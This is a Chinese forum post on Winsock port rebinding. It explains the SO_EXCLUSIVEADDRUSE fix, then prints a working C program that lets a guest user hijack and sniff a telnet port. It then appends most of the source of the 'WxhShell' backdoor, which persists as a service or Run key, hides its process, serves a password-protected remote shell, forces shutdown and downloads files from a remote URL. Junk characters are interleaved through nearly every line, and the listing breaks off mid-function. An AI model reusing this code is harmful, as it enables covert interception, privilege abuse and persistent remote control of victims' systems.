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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: edlsS}8^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;4`%?6%  
U/\LOIs  
  saddr.sin_family = AF_INET; N'%l/  
$n::w c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &>}f\ch/  
zogl2e+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gy5R"_MU  
-TNb=2en(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [>:9 #n  
8Tp!b %2.  
  这意味着什么?意味着可以进行如下的攻击: In#m~nE[M  
[*Vo`WgbD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V%FWZn^  
]sB%j@G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a7la CHI  
:HH3=.qAp`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j$z!kd+%  
(Lkcx06e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mnq1WU;<  
__-V_(/b,x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !L@a;L  
*1U"uJno  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D<bH RtP  
l9{.~]V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |vh{Kb@  
;n/04z  
  #include )zo:Bo .<  
  #include R]TS5b-  
  #include ?!n0N\|i]  
  #include    NH8\&#}nAK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <e-hR$  
  int main() n%ZOR1u)k#  
  { wD $sKd  
  WORD wVersionRequested; %9T|"\  
  DWORD ret; )'$'?Fn  
  WSADATA wsaData; IoHYY:[-  
  BOOL val; -W1Apd%>  
  SOCKADDR_IN saddr; ()(/9t  
  SOCKADDR_IN scaddr; VCvFCyAz  
  int err; #]s&[O43  
  SOCKET s; jd}-&DN  
  SOCKET sc; XchVsA  
  int caddsize; wv&%09U  
  HANDLE mt; >s>{+6e  
  DWORD tid;   `4t*H>:y  
  wVersionRequested = MAKEWORD( 2, 2 );  dm{/  
  err = WSAStartup( wVersionRequested, &wsaData ); |OO2>(Fj  
  if ( err != 0 ) { h@D!/PS  
  printf("error!WSAStartup failed!\n"); xn2f!\%p  
  return -1; l1" *  
  } y- @{  
  saddr.sin_family = AF_INET; m+pFU?<|  
   |j!U/n.%w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $6*6%T5}  
x^6b$>1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q=F4ZrNqD  
  saddr.sin_port = htons(23); ^wb$wtL('  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w72\'  
  { k\}\>&Zqu  
  printf("error!socket failed!\n"); n4DKLAl  
  return -1; ITBa ^P  
  } ?;CMsO*q  
  val = TRUE;  7D\:i1~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ew|e66Tw$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -zH` 9>J5|  
  { Ydh+iLjhx  
  printf("error!setsockopt failed!\n"); DM3 %+ xY  
  return -1; 7H_*1_%ZQ  
  } xt X`3=s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yMKVF`D*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t@3y9U$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OEXa^M4x   
>vfbXnN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rHD_sC*  
  { !)LVZfQ0  
  ret=GetLastError(); eBg:[4 4V  
  printf("error!bind failed!\n"); 71OQ?fc  
  return -1; XjU/7Q  
  } ^,6c9Dxy  
  listen(s,2); j@Y'>3  
  while(1) CP6xyXOlPB  
  { ^;.&=3N,+  
  caddsize = sizeof(scaddr); "D7wtpJ  
  //接受连接请求 50NLguE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i5Dq'wp  
  if(sc!=INVALID_SOCKET) ]O+W+h{]  
  { EOzw&M];r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ks\\2$Cm7  
  if(mt==NULL) uu;1B.[b  
  { gEkH5|*Y  
  printf("Thread Creat Failed!\n"); E}8wnrxf  
  break; {9<c*0l  
  } +L|-W9"@3  
  } %p8#pt\$7  
  CloseHandle(mt); w)xfP^M#  
  } m53~Ysq<  
  closesocket(s); d9.~W5^fC  
  WSACleanup(); m-MfFEZ  
  return 0; "aJf W  
  }   Q;0 g  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3\0,>L9ET@  
  { @XN|R  
  SOCKET ss = (SOCKET)lpParam; M|}V6F_y  
  SOCKET sc; L<[%tvV  
  unsigned char buf[4096]; y5`$Aa4~  
  SOCKADDR_IN saddr; zL/r V<  
  long num; (Kb_/  
  DWORD val; ECr}7R%  
  DWORD ret; xpB* > zb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Wr;9Mz&{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -5d^n\CDK  
  saddr.sin_family = AF_INET; J @^Ypq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #B!<gA$/  
  saddr.sin_port = htons(23); tlpTq\;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JbXd9AMh2  
  { ^H~g7&f9?N  
  printf("error!socket failed!\n"); 8Ao pI3  
  return -1; W|AK"vf  
  } GVld]ioycG  
  val = 100; agp7zw=N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EdC/]  
  { tM3Q;8gB!  
  ret = GetLastError(); a?8boN(  
  return -1; JbLHW26pl  
  } i.0.oy>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ['Y"6[1  
  { kKz>]t"A  
  ret = GetLastError(); VhLS*YiSY  
  return -1; >h{)7Hv  
  } }}gtz-w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J)._&O$  
  { 0Q!/A5z  
  printf("error!socket connect failed!\n"); u Xo?  
  closesocket(sc); x<\5Jrqt  
  closesocket(ss); Df.eb|[{  
  return -1; OZ6:u^OS]  
  } g1&>.V}!  
  while(1) pmgPBiU>  
  { ~UQX t r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LW!>_~g-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %abc -q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v?(z4oOD/>  
  num = recv(ss,buf,4096,0); Ff&kK5} q  
  if(num>0) >.&E-1[+:  
  send(sc,buf,num,0); XNQPyZ2@|b  
  else if(num==0) /|>?!;   
  break; 6d/1PGB  
  num = recv(sc,buf,4096,0); IH3Nkpsg  
  if(num>0) O 4'/C]B 2  
  send(ss,buf,num,0); ky@ZEp=  
  else if(num==0) =[nuesP'  
  break; 8'#L+$O &N  
  } ErxvGB(2  
  closesocket(ss);  EHk$,bM  
  closesocket(sc); _@OS,A  
  return 0 ; KtD XB>  
  } Hb3t|<z  
__|Y59J%  
bkFO4OZd  
========================================================== N^f_hL|:9  
r-$VPW  
下边附上一个代码,,WXhSHELL q0L\{  
*> E_lWW.  
========================================================== {h0T_8L/  
tP4z#0r2  
#include "stdafx.h" |o<c`:;kt  
sQBKzvFO3  
#include <stdio.h> Q PrP3DK  
#include <string.h> I+W:}}"j  
#include <windows.h> k|`Qk!tr  
#include <winsock2.h> eL88lV]I  
#include <winsvc.h> cy0j>-z  
#include <urlmon.h> VWrb`p@  
mv>-XJ+  
#pragma comment (lib, "Ws2_32.lib") qW`DCZu  
#pragma comment (lib, "urlmon.lib") $ D.*r*c6  
E?S  
#define MAX_USER   100 // 最大客户端连接数 ^j7>Ul,  
#define BUF_SOCK   200 // sock buffer *JF7 B  
#define KEY_BUFF   255 // 输入 buffer `Gh J)WA<  
pU1miA '  
#define REBOOT     0   // 重启 ;e6L@)dp9  
#define SHUTDOWN   1   // 关机 >!bw8lVV  
'Lh nl3  
#define DEF_PORT   5000 // 监听端口 6'Q*SO;1gh  
lQ&J2H<w  
#define REG_LEN     16   // 注册表键长度 &Gs/#2XQ  
#define SVC_LEN     80   // NT服务名长度 ~rlPS#]o  
!GnwE  
// 从dll定义API 1>L8EImx]V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dg*'n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QY c/f"9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W:hTRq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2`J#)f|  
( 'Ha$O72  
// wxhshell配置信息 *#83U?  
struct WSCFG { 31cZ6[  
  int ws_port;         // 监听端口 2=7:6Fw  
  char ws_passstr[REG_LEN]; // 口令 )=AWgA  
  int ws_autoins;       // 安装标记, 1=yes 0=no :+f6:3  
  char ws_regname[REG_LEN]; // 注册表键名 +]p/.- Uw  
  char ws_svcname[REG_LEN]; // 服务名 cCs@[D#O1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )M* Sg?L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %xA-j]%?ep  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %k @4}M>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $}B&u)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7()5\ae@q'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C5Mpm)-%  
#j'7\SV  
}; l ;S_J^S  
;gLOd5*0  
// default Wxhshell configuration YmD~&J  
struct WSCFG wscfg={DEF_PORT, e[6Me[b  
    "xuhuanlingzhe", s9SUj^  
    1, E: Ul_m8  
    "Wxhshell", e5(c,,/  
    "Wxhshell", .|0$?w  
            "WxhShell Service", ^%O$7*  
    "Wrsky Windows CmdShell Service", 5Gm8U"UR  
    "Please Input Your Password: ", o1thGttVDg  
  1, 5xQ5)B4k  
  "http://www.wrsky.com/wxhshell.exe", WO$8j2!~#  
  "Wxhshell.exe" F`>qg2wO  
    }; x"A\ Z-xxz  
G "ixw  
// 消息定义模块 #'. '|z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I#;.; %u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3gYtu-1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <?h(Dchq  
char *msg_ws_ext="\n\rExit."; 1n[wk'}qf4  
char *msg_ws_end="\n\rQuit."; a:s$[+'Y  
char *msg_ws_boot="\n\rReboot..."; @ 6*eS+t\  
char *msg_ws_poff="\n\rShutdown..."; 3zv0Nwb,  
char *msg_ws_down="\n\rSave to "; {LT2^gy=  
f#-\*  
char *msg_ws_err="\n\rErr!"; B<ZCuVWH:  
char *msg_ws_ok="\n\rOK!"; D;z!C ys  
9{0%M  
char ExeFile[MAX_PATH]; c3WF!~1r  
int nUser = 0; i!eY"|o  
HANDLE handles[MAX_USER]; &%tW  
int OsIsNt; oJ|m/i)  
G=l:v  
SERVICE_STATUS       serviceStatus; xl Q]"sm1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t ?05  
5"bg 8hL  
// 函数声明 [LrO"9q(  
int Install(void); zb s7G  
int Uninstall(void); VVfTFi<  
int DownloadFile(char *sURL, SOCKET wsh); 9%2h e)Yqc  
int Boot(int flag); 92~$Qa\S!  
void HideProc(void); (a"/cH  
int GetOsVer(void); sGE %zCB  
int Wxhshell(SOCKET wsl); OW#G{#.6R  
void TalkWithClient(void *cs); 7Rd(,eWE@  
int CmdShell(SOCKET sock); KN&|&51p}  
int StartFromService(void); 5Rp mR  
int StartWxhshell(LPSTR lpCmdLine); 8:2Vib$  
uX6p^KNm5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *VUJ);7k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U G4I @@=  
IFW7MF9V  
// 数据结构和表定义 '<'5BeU  
SERVICE_TABLE_ENTRY DispatchTable[] = b5? kgY  
{ V9cj  
{wscfg.ws_svcname, NTServiceMain}, _|{Z850AS  
{NULL, NULL} 5g.K yj|  
}; g ;X K3R  
GyV uQ51  
// 自我安装 3GrIHiC r  
int Install(void) (B%[NC 6  
{ {XV 'C @B  
  char svExeFile[MAX_PATH]; !_oR/)  
  HKEY key; uX%$3k  
  strcpy(svExeFile,ExeFile); w-C%,1F,/  
TaF;P GjVw  
// 如果是win9x系统,修改注册表设为自启动  QB !%  
if(!OsIsNt) { <U8w#dc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2*] [M,L0c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1$^r@rP  
  RegCloseKey(key); /FjdcH=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G-,0mo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OLV3.~T  
  RegCloseKey(key); >CwI(vXn  
  return 0; Eo6qC?5<  
    } . g-  HB'  
  } }}bMq.Q'  
} = J]M#6N0  
else { 9W-1P}e,  
8"p rWAN  
// 如果是NT以上系统,安装为系统服务 |:,`dQfw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /lhk} y^  
if (schSCManager!=0) 4J?\JcGs  
{ /2MZH  
  SC_HANDLE schService = CreateService 8~T=p:z'  
  ( ?y__ Vrw  
  schSCManager, tI5*0  
  wscfg.ws_svcname, Mb45UG#2  
  wscfg.ws_svcdisp, ZE1${QFkG  
  SERVICE_ALL_ACCESS, B>sQcZ:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hjhZ":I.  
  SERVICE_AUTO_START, t_Rj1U  
  SERVICE_ERROR_NORMAL, JB=L{P J  
  svExeFile, 43<i3O  
  NULL, |?hsMN  
  NULL, 8k+k\V{  
  NULL, `b%^_@Fb  
  NULL, D *IeG>%  
  NULL L+eK)Q  
  ); lkC|g%f  
  if (schService!=0) |C5{[ z  
  { JY,oXA6O  
  CloseServiceHandle(schService); FlY"OU*  
  CloseServiceHandle(schSCManager); 2fNNdxdbT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HrMbp  
  strcat(svExeFile,wscfg.ws_svcname); EQX<<x"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "-j96 KD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x(p/9$.#  
  RegCloseKey(key); m\E=I5*/  
  return 0; `cIeqp  
    } E,cQ9}/  
  } yU"#2 *C  
  CloseServiceHandle(schSCManager); P% 8U  
} 3,#v0#  
} Ndyo)11z  
hh2&FI  
return 1; ]z| 2  
} MXjN ./  
K@/dQV%Z  
// 自我卸载 )-Z*/uF^  
int Uninstall(void) Y kvEQ=  
{ :nfy=*M#  
  HKEY key; rq\<zx]au  
UUa@7|x  
if(!OsIsNt) { K$B~vy6E`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 66$ hdT$  
  RegDeleteValue(key,wscfg.ws_regname); DF'~ #G8  
  RegCloseKey(key); ?^LG>GgV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d`% 7Pk  
  RegDeleteValue(key,wscfg.ws_regname); b! teSf  
  RegCloseKey(key); .[1@wW&L  
  return 0; *P&lAyt6  
  } g>`D!n::n  
} B__e*d:)!m  
} xsNOjHk  
else { jj]|}G  
HiD%BL>%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $BG]is,&5  
if (schSCManager!=0) f zL5C2d  
{ = C/F26=|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jl>wvY||  
  if (schService!=0) /b/  6*&  
  { Og?GYe^_  
  if(DeleteService(schService)!=0) { NRspi_&4J  
  CloseServiceHandle(schService); Y{Lxo])e  
  CloseServiceHandle(schSCManager); @gmo;8?k  
  return 0; 0}|%pmY`  
  } &7\fj  
  CloseServiceHandle(schService); Q]/{6:C  
  } K4I/a#S'@6  
  CloseServiceHandle(schSCManager); 2L51 H(  
} I1s$\NZ~]  
} lhf5[Rp  
l)'*jZ  
return 1; sE!g!ht  
} u yE#EnsH  
q-,`\ TS  
// 从指定url下载文件 jM-5aj[K  
int DownloadFile(char *sURL, SOCKET wsh) H ]!P[?  
{ ;lt8~ea  
  HRESULT hr; uD[T l  
char seps[]= "/"; 09{s'  
char *token; U!E}(9 tb  
char *file; _::ssnG3jT  
char myURL[MAX_PATH]; 2OqEyXh  
char myFILE[MAX_PATH]; < 'BsQHI  
!DHfw-1K  
strcpy(myURL,sURL); @RL'pKab9  
  token=strtok(myURL,seps); /;!I.|j  
  while(token!=NULL) AsvH@\\  
  { Md8<IFi9]Q  
    file=token; {.DY\;Q  
  token=strtok(NULL,seps); :h!'\9   
  } \MPbG$ ^  
Vl>KeZ+  
GetCurrentDirectory(MAX_PATH,myFILE); -"^xg"  
strcat(myFILE, "\\"); q|r*4={^!*  
strcat(myFILE, file); :JZV=@<T  
  send(wsh,myFILE,strlen(myFILE),0); >p" U|  
send(wsh,"...",3,0); <Z\{ijfvD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z2!4w +2  
  if(hr==S_OK) >+>N/`BG  
return 0; wM3m'# xJ  
else sYvlf0  
return 1; mgM"u94-]  
/-WmOn*  
} PtzT><  
dJdOh#8+Xi  
// 系统电源模块 #\ysn|!J,  
int Boot(int flag) R|` `A5zQ  
{ 8#o2qQ2+  
  HANDLE hToken; ;18u02z^  
  TOKEN_PRIVILEGES tkp; zE?dQD^OD  
LnsYtkb r  
  if(OsIsNt) { \'iy(8i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [;ZC_fD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z+[W@5q  
    tkp.PrivilegeCount = 1; rw0s$~'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8pp;" "b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $j v"$0Fc  
if(flag==REBOOT) { >J_ P[v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i->G {_gH  
  return 0; /W LZyT2  
} D,(:))DmR  
else { ?8U]UM6Tu4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6\-u:dvGI?  
  return 0; >&F:/   
} G|"m-.9F  
  } #uCfXJ-  
  else { v$g\]QS p  
if(flag==REBOOT) { 02T'B&&~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9>`dB  
  return 0; | qelvK*  
} +ef>ek  
else { 9RkNRB)8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ae"|a_>fMI  
  return 0; 1rLxF{,  
} s~ o\j/  
} yx;K&>  
|+>U91!  
return 1; `9P`f4x  
} t%f>*}*P*  
{G<1.  
// win9x进程隐藏模块 pr,1pqiAf  
void HideProc(void) 2+ g'ul`  
{ +V[;DOlll  
r)Ml-r =  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4%JJ} {Ff  
  if ( hKernel != NULL ) 5l%g3F  
  { 40dwp*/!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HnsLYY\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hc8!cATQk  
    FreeLibrary(hKernel); [UB*39D7  
  } }LLQ +  
'R42N3|F  
return; Z/4bxO=m  
} t"e%'dFv  
-@B6$XWL  
// 获取操作系统版本 HIfi18  
int GetOsVer(void) ZU2D.Kf_:  
{ X\*H7;k,  
  OSVERSIONINFO winfo; BuxU+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PGVP0H+RV  
  GetVersionEx(&winfo); 4\uq$.f-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ke~!1S8=  
  return 1; ZZfi,0R  
  else N.SV*G @  
  return 0; P\z1fscnK  
} =2vZqGO30  
lh!8u<yv*  
// 客户端句柄模块 !FB2\hiM  
int Wxhshell(SOCKET wsl) .G"T;w 6d  
{ `R lWhdE  
  SOCKET wsh; -B-HZ_  
  struct sockaddr_in client; !vHCftKel  
  DWORD myID; uv{*f)j/d  
]5MT-qU  
  while(nUser<MAX_USER) vy>(?[  
{ Lw?>1rTT/  
  int nSize=sizeof(client); yBv4 xKMH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kf)$/W4  
  if(wsh==INVALID_SOCKET) return 1; DQ0 UY  
pK/RkA1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yHZ&5  
if(handles[nUser]==0) *GdJ<B$  
  closesocket(wsh); NvpDi&i  
else $d&7q5[  
  nUser++; WW7E*kc  
  } <\d2)Iv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P;|63" U  
XZ3M~cD q  
  return 0; %0f*OC  
} uD ;T   
>Tn[CgH]7  
// 关闭 socket 6QPT  
void CloseIt(SOCKET wsh) 1WY$Vs  
{ >: J1Gc  
closesocket(wsh); 2%`8  
nUser--; piIGSC  
ExitThread(0); |UcF%VNnz1  
} y35e3  
*2YWvGc  
// 客户端请求句柄 E <r;J  
void TalkWithClient(void *cs) |I.5]r-EK  
{ 5iGz*_ m  
T+!0`~`  
  SOCKET wsh=(SOCKET)cs; w7<4D,hk  
  char pwd[SVC_LEN]; mxwG~a'_  
  char cmd[KEY_BUFF]; clIn}wQ  
char chr[1]; KkR.p,/  
int i,j; fECmELd  
= mhg@N4  
  while (nUser < MAX_USER) { Yg1HvSw\  
Z/;8eb*B7  
if(wscfg.ws_passstr) { ~AF' 6"A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7? ="{;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a6/ETQ  
  //ZeroMemory(pwd,KEY_BUFF); LM!@LQAMY  
      i=0; !VvM  
  while(i<SVC_LEN) { 4%u\dTg/B  
#"o`'5  
  // 设置超时 X8XE_VtP  
  fd_set FdRead; ?.nD!S@  
  struct timeval TimeOut; _Vr}ipx-k  
  FD_ZERO(&FdRead); ,awkL :  
  FD_SET(wsh,&FdRead); L1q]  
  TimeOut.tv_sec=8; UXHtmi|_:  
  TimeOut.tv_usec=0; P;ZVv{mT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vz y )jf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C{V,=Fo^  
;9uDV -"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |j$$0N  
  pwd=chr[0]; )Qo^Mz  
  if(chr[0]==0xd || chr[0]==0xa) { pJQ_G`E  
  pwd=0; *uF Iw}C/  
  break; C3C&hq\%  
  } TZObjSm_v  
  i++; asbFNJG{  
    } >V&GL{  
-TyBb]  
  // 如果是非法用户,关闭 socket ,B,0o*qc{K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h;J%Z!Rjw  
} Q+E)_5_sA  
~A*$+c(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nA+gqY6 6|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gZ  {  
DM{Z#b]  
while(1) { t y%Hrw  
=>xyJ->R  
  ZeroMemory(cmd,KEY_BUFF); Qgl5Jr.  
VS5D)5w#  
      // 自动支持客户端 telnet标准   U H6 Jvt  
  j=0; #| m*k  
  while(j<KEY_BUFF) { sg_%=;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9]a!1  
  cmd[j]=chr[0]; 0}$R4<"{Y>  
  if(chr[0]==0xa || chr[0]==0xd) { *47%| bf`  
  cmd[j]=0; +3-f$/po  
  break; zY&/lWW._  
  } m =MM  
  j++; -QQU>_  
    } }\EHZ  
^ }|$_  
  // 下载文件 rmhL|! Y  
  if(strstr(cmd,"http://")) { ZV~9{E8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d-#yN:}0  
  if(DownloadFile(cmd,wsh)) &t74T"(d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ],f%: ?%50  
  else ezr'"1Ba}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PtOYlZTe?  
  } 9Ljd or  
  else { {Ytqs(`   
l>@){zxL  
    switch(cmd[0]) { j.29nJ  
  gCW {$d1=  
  // 帮助 ujbJ&p   
  case '?': { ZJ |&t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <{k8 K6  
    break; ?"T *{8  
  } Xxs0N_va&  
  // 安装 bbFzmS1  
  case 'i': { j`k :)  
    if(Install()) 3}i(i0+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6b h.5|  
    else e|.a%,Dcy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  *l-F  
    break; ++d[YhO  
    } ;)!);q+  
  // 卸载 4,7W*mr3(  
  case 'r': { `FIS2sl/  
    if(Uninstall()) <f@ A\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A55F* d  
    else 7u[$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7^Y`'~Y^  
    break; }j|YX&`p  
    } 8>ODtKI *  
  // 显示 wxhshell 所在路径 e1 P(-V  
  case 'p': { =tqChw   
    char svExeFile[MAX_PATH]; | <- t  
    strcpy(svExeFile,"\n\r"); biAa&   
      strcat(svExeFile,ExeFile); 6i*LP(n  
        send(wsh,svExeFile,strlen(svExeFile),0); `5t CmU  
    break; ZgL]ex  
    } w(R+p/RF  
  // 重启 ag"Nf-o/Y  
  case 'b': { $WZHkV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z`{GjV3%wH  
    if(Boot(REBOOT)) Y q-7!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )F%zT[Auph  
    else { !+ ??3-q  
    closesocket(wsh); @s~*>k#"#  
    ExitThread(0); v^1n.l %E  
    } 4XArpKA  
    break; u$y5?n|  
    } lgh+\pj  
  // 关机 3b1%^@,ACy  
  case 'd': { RRR=R]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )zvjsx*e=J  
    if(Boot(SHUTDOWN)) O}q(2[*i  
